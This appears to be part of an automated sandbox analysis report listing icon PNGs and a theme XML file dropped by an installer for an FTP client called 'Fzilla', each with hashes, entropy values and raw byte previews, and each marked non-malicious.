
Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.5454595416350925
Encrypted:	false
SSDEEP:	12:6v/7/i1pq+GYaZ3WfbnmxxL/GMeHU+lCb8u4ezyYfyMO/oHU8nV8qasXjt9IiOAO:zAYDLmxxL6plCb8czhfyYU8WUAdkK
MD5:	2B3064DC53FB2A3133B0F7D6486A8DB0
SHA1:	D9A117A5439063CC45959D0D96B3E45F0CF7B3DD
SHA-256:	E034152A92453C31DC88F1817DFA013B01661CB542E56E4A3EAB9FB6F987E5EB
SHA-512:	228F2169CFAB9B908E9232AD6DE00FDC758E97F981DA2F7F692B0620162B23C067EF3CE69C1B1C16B83FF45B41C9479C8E402982DCA3FCA0AF29AFD9C24A8942
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...QC1..=.C!T........P..P...s...%k.......^...B........,..K...@z09.x.)..0.2....:.i4.R...6...\|..h:K.....S..Sd.y......R.w+.!..X.....T\....+...Vm.C8..^.j.........lO.......sn.M}....\|g=.Y.G..!.2f..u,...yF.......Y....o.\s....=...NX.)...Wb3}.....@i....Y.l%..`Cv..FZ"C..D..Y9.....>...43....5.o....AF..?Ip..g.j........ZZ..y.:..B.8.t.@..f..'..........~..om..d...l0d.{..*...>...4.n).-.>..=.N.@.P\[... .........`...bYUn..P....L.?.J...P..4..=....P..g..m.g...s....K&\o.Hr..\.!o...f.....c...Xb.5.Ye.E.f.....Zi..R.q.K.'G...?....'E.....g9.E.s....6w..C....<.1....nq.k\...8..Nr.}dI.%D..=....&B..8X....&K.<92.I..s!.#....!..~x.-...w.>...........3.f..v....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.636019833972538
Encrypted:	false
SSDEEP:	24:FDy6ihL3rvhfLMqTzOPMOQZBARl9/YtlJ9HjdoZtjkDieBQ:1yZpxLMcmi0jQtlzDa3jD
MD5:	7C2CB5B9436962404FD7CD88BAC15376
SHA1:	F98599F0BFDA9FFFACFDB089CC7063A8DAA1A705
SHA-256:	E2298622E67F7266036058D8AEB2E282CFFF55EC50B3956F22A2BF1F6643E38E
SHA-512:	7234F05A6E1703096028034F64A87C5DF02932EB8B726AA76B4C165A45FB752F2979B9E322707DC6CF6DECCF96C3664B590D0E5BFABBC53EF46E0F3DEEF98337
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....,I....m.l.m.m.m...u.Ml....7.....6.Ue[.$.u...0..,...^.2oU.:...{.7.<X...YZ...".S............S.( 0Y.....Hb......5; .Q.rL.9....5. 0N...I..q.q......M.....u.i...i_...dbJ...tu.........M.q...9....z!'.o@.M.I.....]...L.<..%@...K4.P....D...5..)^...&g.~.,..(.w i{.4n..<..m.P..l@zJ,i..46..T.j8.\..x.k..@.b&.9^.N..e..\|4........'.$..H...Gk9@..k@....m.9....{7~..g.....qx.T(g.^`...H...)F ..,'.\(.g...rz4.P...6.i...h....Wd..e.%e.4.Q...+.....qT...Ty..w%.....7.4U..,Y......;.QB9..-..E.....GGtG..x.k#K#m1.)P...F7tD...v....10.V.....'...E><.U0.FC.tC.....~...bZ.#k<..1...8..1............@.....s`>,.1....Z&^...8..`^..0&.d.....Sbn,.e...lz-..D.O..........C..i......aj......Gs.\|.L.4~...>..jX.s......v...rb<....6.V.p..<...5...xmK.....k`1.......>....0.f.bX..a..9.......I.E......<l.....t..}.....d......sb...-......x..4....M.1>.....rl...$f....>.q..{N.v.N.^.A...aRL..1;..l..Sa"...0....i.h.O..q:....k.tF..$..g^..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	7.8249657265416435
Encrypted:	false
SSDEEP:	24:LPTjKzoro3U/g9hqrpmIlU/QbG1pGdV93IK9XMRwHJzihvfYNRUqbMwvsEvP9qf:LPfKz2aHsrY8eQCGdH3IGXMRwli+b7vY
MD5:	5B512F7C1940E6AF9E991DAD0CB28B1A
SHA1:	0B7F693DCC401ED62ADDB7B3D292BD80975DCBCC
SHA-256:	2D1D67BE059CEC8AB770E0333599F1FD95967FCA75513345E26D352A576482DE
SHA-512:	BD7E415A236BB94C59129A5614DAB0DD3D286035479B19C27702389E62670DBAEBDBC2B2975C6ED2287D3B0F8248F317543DDCEE3D1C028D814025469337771E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....#M...$.m.m.m.m....q.M._.j.noj..d...{.....2..<.'e.......4-@.....d...g......Y{.i..6+..9h&.e0u.......gF........<.,..wF.. ../..D...z.X+./Vs.e..M...2.....k3..5...5f.d..~....}..g.oZ..:.?....n;3......M."{.S{/."\|#.....ih.:...f.w.......0Q.Aw..\|%.w...C`....v......3VB.[.i;...M..rI... ......n.}O;.K......LF..J...."....;G._?.._.......ts.... !?..._..e8,...<...k>&.........,....5...._'...pT(.,.....f..g..>.@GH..h..HAu.`.c..3S...\|...v..nLH.......`.._..u..UW..^.....Ou......m.y......,U..K...=.<.....D.E...I...C.c/...U.P...".`.......7i..sE8.2.yK.#d...=...q.....O..!0.K .L...{E..t...#...O?M._.].e.w...[B....qAC..(B.Z....Q...'...0^....#a..1 pS..h....N...#........J`B.i......`w..-........6k..@G.E.....6..E.....:....Bm..(.M...m..FY.c..E(..)....H+....F...#..w.f.....Br.H....M...=...Fm...4.&.amD...h..........Y.<.C..Y'.9...&.<..2z.=....@Dm.L\.&% ..<Z.M.C.`c]:..&>..o%...z ....n.......3..]b..x/t......HRE..`.`I`..u..J

C:\Program Files (x86)\Fzilla\resources\sun\48x48\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.259546212998228
Encrypted:	false
SSDEEP:	6:6v/lhPKaZzu6d7kWkw8RTQR4TUpctzpQhXwenp:6v/7ZZzu6hLkwA44KctzpQhXwo
MD5:	E2C5395E4256FA62DCDCBA24D521A751
SHA1:	5942B29527B7F5754FD3AADA7C8E5B7A852DFD33
SHA-256:	3CC449A439C84045108F5E1F520A4E1306675CEFEE4CC6A74F2A318F5539C5FD
SHA-512:	EC8826E3906A1F3BCE4243BCB919EABD454C2F1C26C982B97105E029CD489D80829521D2858552B5A2508DA4A2E358C98B7B7F392F0B1C837CD32BB3977C6EF6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....l......PLTE............P6.0....tRNS.....(.....wIDATx...1..0.F..P2...Stq...>9JF.)5..dS....c..m...X:.J...:8A..qR..P...,...%)......Ig.#L...Z.D.yG..q.....0;..:.....N.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	651
Entropy (8bit):	7.495034930499189
Encrypted:	false
SSDEEP:	12:6v/7AP2a6xKs+fXKaGhmCI15C8ktTGlbEyrmXpk3bBpeKrWJ05gz:3EKs+ffUUnC8koxEyrmZkrB9U0Oz
MD5:	1EEA7A5DC7250A180F66A51D9722F421
SHA1:	863731CB0ACF73A32ADEC544604990952739D5B3
SHA-256:	FA9CE842159DF141DF7106F21F0D9F528F79791C04DE517B6149943E4A04C3EB
SHA-512:	80FAA4E2DE456DE2F3DF47C6D79B3782E9EA1EEEEA253D83E48FFE442A84DD9C284216167BA27242F2991D377B867BCAE8A934FDA39C8E2BA54DBE98615A08EB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......RIDATx...3..a.@...m....ul.a......m.m...}.kM.q...U.......F7..9<.G..=..l..d..)P.m...0.....6l.....}."....b.b.-.Y.iU.....'b..y..p..b...;.....B....F.TA..~k8.....Q..Q.(..c.Fl.....+c..4f.%].&..).$vUU..5.Q..P..Q...FO~.N.<..........z^Do.8...L.a..W..7.....@...)e...u.y..`...?h.............j..G...p...:.&.a.....m....0Dgh..x......j.`/.6AmP...."C...8.j....l...'....x.}..N.o.v4...@...H..N..P.tp" ..7.E2.........j......\..5s.#4B.q...B-.....)..X$+..Hp......}.3aO....Q..Y.....a@...x...<.F(....0.....)4Ba@.....Q...hx....4S..wE.8N.....M.....WE2j.B.}..6k....5i...j.2zY....^.\|.'.Ip.A.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	661
Entropy (8bit):	7.559908781467013
Encrypted:	false
SSDEEP:	12:6v/79zlEDg1dCQwV4DfHmbHiWi7LsAIBly3nCneZdPAK/13spaKw427s24bB1:KSiRfHmbiWi7LHey3ke3IK98E9427s2O
MD5:	F333E2CE6C8FAB863B826469EAE3BEE3
SHA1:	DF587B2EA65948234FEC96D17EAFCF0BD81A296D
SHA-256:	72163F387B782EC5E089D833C7E53A8735847E187EBDDDBF8195FA38C7670B40
SHA-512:	F769C1B92B62C5E103BD0D121351AA8B8104448B85A6C113C2FB0E553E21FD9592F38D81A1E01769463BC4276C8D503E0A407C94C32DEED543748F246C512951
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......\IDATx...S..a...S.m#,...j.U\\.......m.&N.?...L..(..'...!..h..X.jUN..n..{....G..ALB...l.....)...X....8...y..g.c...V..b....w.\.r.......#..9.d.{.G..+..K1..0....9.?<=zdG^.AQT@E.7.%Z.C.[....:xp.m.h...T{.....46..B=T0s+......k....C".9rL.....;...+x%.,0..D&>2.?3.<.O....^.,.vOD..>.Eo@c.........+......C..../.I....Y.M..^.=.`......4.....4.......j........;...\|-h.-p3.......x#2......\|;..;....x.uA?'..B]..H...0L=p......3<....x......c...Ph..Qbr ......~......DNW.J..xB....w%@.J...{4Yu...0...M..S.Fa....h..`.T..a.......0.......0......x..+.a.....b.,...........7.v..).9.)...G"..I.Z..H.........5.II..T....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\is-76L7C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.013181635115544
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKJ+aQmKyDLDkAVtoH1QIKe:TMHdtAgqcmKiDXVyH1QIh
MD5:	57D8662957CD827E2D97DDB53E39C4B9
SHA1:	F6E7ABA03D8EFC3BF4259BB7214B19AFBA47C03C
SHA-256:	A1CCE1E84141E786FB6AD8FCB84F27F6729EA7635287B9F00B51A694BB4A5D1F
SHA-512:	68D4217368243BA6977B9FF404D18AEBB32898A096B7D97D20EE3BB2C0DC67BA03177880B4F05463041F862391C782FDD5D4029F3C8A2221A7512C91AC5FBFA7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>SuN</Name><Author>Mr.Silencer</Author><Mail>silencer.guard@yahoo.com</Mail><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\sun\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.013181635115544
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKJ+aQmKyDLDkAVtoH1QIKe:TMHdtAgqcmKiDXVyH1QIh
MD5:	57D8662957CD827E2D97DDB53E39C4B9
SHA1:	F6E7ABA03D8EFC3BF4259BB7214B19AFBA47C03C
SHA-256:	A1CCE1E84141E786FB6AD8FCB84F27F6729EA7635287B9F00B51A694BB4A5D1F
SHA-512:	68D4217368243BA6977B9FF404D18AEBB32898A096B7D97D20EE3BB2C0DC67BA03177880B4F05463041F862391C782FDD5D4029F3C8A2221A7512C91AC5FBFA7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>SuN</Name><Author>Mr.Silencer</Author><Mail>silencer.guard@yahoo.com</Mail><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	225
Entropy (8bit):	6.571167968821731
Encrypted:	false
SSDEEP:	6:6v/lhPEtLaiy0aAUqAca+IX782kxxp3hrgLp:6v/7muiXRUqAcJdxxfc
MD5:	242B43BEA5C3647B33C60BEAFFA30AA2
SHA1:	3239645565C86CA9B9C660F4E29F9C495E3FA54B
SHA-256:	58761FCFEEDFE37252E0DF211429330FCCF699410512EF5EF1CDBF061C4FFB4E
SHA-512:	51C7BE7B1291DBDCEE21E89CBF453BCFFC9A032409E8E8429806FABFE417E94EC46C9C3528261C41A4A76D9115AC169C336393C625458A7B71EA52E6037F4CDE
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.9s.....$.0....b.@.......H......,...0..;......?A.qx.A...~.R....C...Z.c...*.U.A..(.p-.\|.Rg.\|.....:G ..] ...R.U ..8..] ....V...q..(...8>.~#;/L.:u.....g......B.6...Z....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	241
Entropy (8bit):	6.454110942701482
Encrypted:	false
SSDEEP:	6:6v/lhPfqZeQnZ6Usb8TW7s+aTPOlR+PbqBp3V8kYup:6v/7mnZ6UsjxaClR+Dqf3V8kR
MD5:	2732C4722673E9F8B56C2DFDE9D8C370
SHA1:	9D2D1A46DAA613978E665D21D2081287C29BBECE
SHA-256:	C127AE5A624A015AAF9980EEABEED10D5F9D89607B00A595CA8229B76A4614B0
SHA-512:	4BEC4579FEBAAC50E77F5165644B5788F75B3824AC4FE174F65FAA4121B3544C802E03C83BCDA674B427108508B491FCDAE7338794A5559D1294AE189C0C0CBB
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...9PLTE...9Ux9Ux?c.Bk.Co.V..I\|.Fz.L..Ez.V..d..\|............/..y....tRNS.XY.........V....]IDATx.....E1.Ek.>........w...p......V.a........`RK!VMp.!....kE/!.k....G......w.../.`.E@...&.>....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	191
Entropy (8bit):	6.3623597179068705
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lC/LaxcGlkYU77JdjYRxWlsU6Fz/HpldRLtRgXLoAQ94JIfm+:6v/lhPMLaqLl7vgWWJPp5gbE4Gfm0AIV
MD5:	B5544B3F18AA63B9041FF92A9D404CE9
SHA1:	CD61335DE5681A682E199093D8248D833CDFE94E
SHA-256:	ECC62EBFA9D52821E70B1D06D8F0A6FB5854CCE9838397D3F67957ACC80226BD
SHA-512:	B1CDBA2CDD622C116ADE4160D7A32D29AD2A02F35E5991BCAF5A738A7E13C79D058425DC7A129114391DC548F15A8E0C778441E7F9EB73FF2EED6FFA31F288A3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.9s.....$.0..m.a.0.......~....D4.. ..,.{y<\|}tT.@.3PJI._.."..8..^....s. `...2.2...@.7..eu.%.......a@...)..gd.S.n!57...`.....@.Yh.. ....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	574
Entropy (8bit):	7.5290643797830485
Encrypted:	false
SSDEEP:	12:6v/7j/GknT5mXGWLhh9ZQk0hY2h+Qz/3MtS2yfXdGtYl1:jkT0bh7p2h+Qz/8QPfXdGGl1
MD5:	D3AD50547B7FF3C262C8866A60EFC222
SHA1:	DC10F14BB584F382B4700DB788A71AAA8D11EE7C
SHA-256:	EDDD9D37C741484A4543CBE7D7DBEE2180E4DC61487A9E28E84524C2A7FD9E6B
SHA-512:	62B78401C2A2742E4DF0903D0FF27B6EEFE61F64B6455813AF88D21878409B69C536C9F5F2435A033AC5114407216AC8B8AB2B237BFAE5595DD76016F022E604
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx......Q...F.;..4...m.nP.Wo..m;X..q.9.{.....\|w....5..A.!.VXM..y.cx.:..5...Z..r-\@..D..?}.4...X.v.(...*0.<....PS......L...d.l .(..HHH....'`.. ...D..u..Y.`..pl.......X.e'.....0l.>..&......u.#..@R.=......&.7...,...m.B.....{....70..{.-........-~k...PT....Z4..`..=8p........y>....."..+.p~....$...F I.FL;......k...C1..n....\h.....3.p;....w#../s.^..7B....@.4.K......f...a.w-.Y......7.....?.......j........M..b.../........./#!.2W\|.>..JJJ..:.....YYY...PE&''.....6..K.W%.cQ..w&....z....>\|.E.....l...[...T......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	663
Entropy (8bit):	7.6508418986379
Encrypted:	false
SSDEEP:	12:6v/7p/dJMw9EhUe4xv1Zq9xZfWG2uRdeIxkK7xznsuPplIbdyxb:6siEESfWG2u7bkK1znsuPTIbd6
MD5:	6F5D067D592A12089F3107821FE03853
SHA1:	53CE9A23A1FBB81DEAAE87E1BE1EA91716037CEC
SHA-256:	5A7604D79F362110357686B48598A1ECE1D2DB887F79462CDB639F6C85710618
SHA-512:	9DC953EAFB2FBBBF33052D46E67807BCBE41E2E8D15B9A8DFACDBE0DC638B8ACEFC8219EEB39AE572D5D8E19F281C5EE9AEF173BFCBE53BA8967D3F442B3B528
Malicious:	false
Preview:	.PNG........IHDR................a...^IDATx.u..p\Q..o8.m...j..e.x.Q..j...".m..o.......}...q"1QW.....).OLw=.h./_vq...+.HE.:.....-.Pa!..R..It5.W..<@...\|...#..8..... ..%.BC...knn...H...7el,zw..U[..aBabF.7.{x.aUr2./X.....b...K..Y....)H.y3.XY..K.L[..".TII?.vA.RA.....\....h..EWW..N..'.\|#I...X&..ph\|.AA..<.....WW....h>......:.(]..A.A.%......U.....H......s....K.....0@.W.]....hKO.....s.;.M3p.sh.}...ard..........[##...!.o........].8.....H2==..}. a....9,lf.......i.66.k--\|[......)..o+V.g.........J..`%....mg..........0EF.P.zz.....[..2..ub4...hG^...........2kk..!.....hgN..23.....D.....Mle5A...f..$.;4...t7......W#.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	313
Entropy (8bit):	7.057635323350394
Encrypted:	false
SSDEEP:	6:6v/lhPWdmM+riJFQaLNV6O5PynAE9nLNrsRBBEW6FRhiP2+p:6v/7ydkiXQORynAE9nLaRrEvFvM
MD5:	E9793CB6E2AEB364267DC4A9D96F9915
SHA1:	3B7AF99C708CA5E9B72C04C3368CFBFBAD9B025E
SHA-256:	F0B6C7B80903B96E5CAACAFB25BCEEF99B8CBB033E93BD431FEB0B5DA813BAB3
SHA-512:	62255F8F53EBF5491841D3E58EF96CC136679A74A010C1E5DD42A60ABCAFE3AF6ACB01B228AA3CF178E9A438AE2348365585AE6759D09ED2C4F14035ADACB6AC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.....D`..l.P.]+d..P..bs....[7;V.s!6..{...............W...wzzz..'..H..$.........4....d..J-n...Z=........#Qg.....#..m..7.8.l.c.,....ONO......M.......7vPMKZ'I....(.....xY......wQgPlF..]....v..i....c..28.46Bmj".....V.mm...y....h... .....1........}F?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	293
Entropy (8bit):	6.963850498310983
Encrypted:	false
SSDEEP:	6:6v/lhPSY5PTcaWfkUQwqa9lcNpG4KBcVpC9DQAe/PYd0vJg+app:6v/7XhcbQceW4Ot9Ze/P0
MD5:	FDAB37BDAC5E3A28A300D430336BBEEF
SHA1:	491097FB942031EDD81BF2C164269275F12281E2
SHA-256:	370CA0C7C40BAD454B438ED418E11889B086329F04649D1D6A0E7D6A80C3B4B8
SHA-512:	CECEE63F3F064AC3312B0F254936879D5A190CF57CFF5DA397CDBEFF9E59506FB0A21ADF8B134466ED13E2207B32ABDCEA92A355B16747F8E90ADB4C02363D94
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...5R.A.G..Ajn..t.K......\..oq9..4H.A.....o....z.:....h....!.\|>%...$1..`JF..`0h...~:\...S.....)k[.$..@V.,..r.k....H.{...1.cV...~pK.z...k..d)9q..2K&.t.L.I.....u..N`1..A....CN.....`...L...+...D...I..5........Z..'...*...:>..^Z..3.\|....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	569
Entropy (8bit):	7.531406605083966
Encrypted:	false
SSDEEP:	12:6v/7Qk0TEXCX16InFRYmY+FPRc/Etnhm0zAyTBF+j16oox0wnFXaWj:xJTEXCX1bjnY6PROEdhmaE61Fx
MD5:	6688AD83CD2C07A040070A4204CC405B
SHA1:	E6C001A9EDE75FCBAC0D543AD9473A386217BD6A
SHA-256:	C8A393B8CD7886F30F1036B76E2CA4DA3564C7E3DD90FAD051543439AB0644B4
SHA-512:	4E026F0B67725BF742613E379B364B686A80323DBAD6C3C250912C29DC28E2088EF889743769E159104E03F738352F6BEA699BBB2FF66F89CC850C51A9C038D6
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C`.@...X..vO.q.m.V......m.m...<.z...0.ly.qt....`.Co..`...^M...@.\.D9..\|_].g....#....r9TLo_]h.%b.F. .U.v...;M!.V..x..RG...;..W.y..tx`.(o.v.L._.1...a..DD.=.l.R`...s.e..;...^q..@4...S.-...9I.Z.b...N.0t.E....jQO........;..@....qE.S.:.#.B..)T..A5.9.".A-......z...n...x......{..Z._..].C....x]...A.:m.....l.....b.....)N..@......\...>dl..*.Ni..../....,..yqB..G.... ..C.$^.)._-ou..\.....rC3... .4.YP.o...n..-.8KDt.5..\|...3...d..P/4...`.F.M.q....S.~.e....p...\|..:.vA...K../.t&W.5.c........k....-...L......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	201
Entropy (8bit):	6.531342860343286
Encrypted:	false
SSDEEP:	6:6v/lhPMili5l97DBH87GQxz6Ba6JQRKFmHh2wp:6v/7pIlpDBCHxWs6JQXA6
MD5:	93FA5220A2B95C60E9AFDD33B37B2789
SHA1:	E861ABAA12522991F716E788BC4858187728AD56
SHA-256:	AC96CDDC7EFB9771389DA52F4B6D5630EB938920E85890F80B851D55DFD02DB0
SHA-512:	BFBC462BCA644C0B5517FA09CDD0196AB80B08D93126DDE1D1B017927B4709C80493FB96D535979725729AC154A5269797247F0B9A3F8E54469F0403E6D4C916
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...$u.. ...g.1...s.......`..?.....V..\~........1D3.o;....3@........y.......l....[.'l...m....n.._q.......{.5...@.A....."..tyz.....%e...X..C.1.-....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	191
Entropy (8bit):	6.3623597179068705
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lC/LaxcGlkYU77JdjYRxWlsU6Fz/HpldRLtRgXLoAQ94JIfm+:6v/lhPMLaqLl7vgWWJPp5gbE4Gfm0AIV
MD5:	B5544B3F18AA63B9041FF92A9D404CE9
SHA1:	CD61335DE5681A682E199093D8248D833CDFE94E
SHA-256:	ECC62EBFA9D52821E70B1D06D8F0A6FB5854CCE9838397D3F67957ACC80226BD
SHA-512:	B1CDBA2CDD622C116ADE4160D7A32D29AD2A02F35E5991BCAF5A738A7E13C79D058425DC7A129114391DC548F15A8E0C778441E7F9EB73FF2EED6FFA31F288A3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.9s.....$.0..m.a.0.......~....D4.. ..,.{y<\|}tT.@.3PJI._.."..8..^....s. `...2.2...@.7..eu.%.......a@...)..gd.S.n!57...`.....@.Yh.. ....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	332
Entropy (8bit):	7.1563799073499865
Encrypted:	false
SSDEEP:	6:6v/lhPWDS6+VuPdEE+CsN6syQE6ixoqaZmTBBoQiy1tRv7aha+F8fnLt2b/kXCjp:6v/7svQulAh8Q0faSo61vvJ+QY/kXCN
MD5:	939666DC67B6ADE8D86A8B6567D82FD0
SHA1:	4697B902C24BD7947FFB0C2C0A147E4DB120E6A8
SHA-256:	5BA196E809E58528953B99B30B7712181D75A6F1FA4185BA16D3D364E513B1AD
SHA-512:	19B122B41A3B9558D026DFF564605AB72A4309EA97DE572B1482981939AFA83DBC8D83F29FBF492E81401758AA0F995CB08F49FD5A5F211182E95A524C6EF63C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....V.P.@.ylpwww......K..^....s.I.0. \.<os......x..+."..4D.3h...j.j......F...f..\|../(H>.,....404L.?.Y....i...*.u...t.].X\.@ia...0..M..-..$I........i.d.?...P..5..E.. ..-..~.(...{G.....`...K..0..../o),..w.?....i.`.6.....C...}..0.!...<..8P>>...;.e...$.e.}...>.kF......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.66239023644788
Encrypted:	false
SSDEEP:	24:wPDPiaQgMFF6affiDLGOcRLQ8zjDyn8Eg:8K343GZ3X
MD5:	F900DAC414868E1EFD85617033BB8E3E
SHA1:	C1C46958810E69888E2DE6979FD8E936E1909E57
SHA-256:	B189DBB4EAFFAA19F22285EF1EB61E32736D8950080FEE814F897411567A7CDB
SHA-512:	4BC205613D8F382F39F3D51FB95BF2F81BC2C4197C8FC868F70263153AD2D6BB7187DD2A3E8ED27556DFC312C8D9BC9A293FB3CE8918554E29D342E193FE0AEF
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b@.e..+..r......+.........b:.!P^Qj.`......s.C......c.1b..`..F:6...mEu.V.h.q?../.m.=..'H..0.. ....rR<.w..}v,....B.....S1....^............5....8 Ge.F.........8._.#..r$...s.s.3k....8"_y5.'....^;.>{......s.P.-.b.\nqkn~u{95.Q.N..w.....j:]...l[....l..p...>..I..Jqrf...[/L..ola...H\l.g.O].a..1..(....@......7<.<.O..G.....@b..?...5.d.h........^.j.....8.......'...D...Rs..H.....=......4..CCCE..W.}kxxG.....%.Xj..!.......g.p....m.V.K.3..V... 6.tm.G.{"s.....[l.)P+...:...B.$0...J......X.W...;\........]r.C....x%..'.7o..:....X..o..%..5o.\[.o\O........6/E..m.C.L...*....F...\\f.....9.. AN....#.^......p.FC._..S....?\|....Z.`...(#..:.....V.h..@?....\.WK..n..b1x=......Y........NNNN.j.....a....?..x.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\folder.png (copy)

Download File

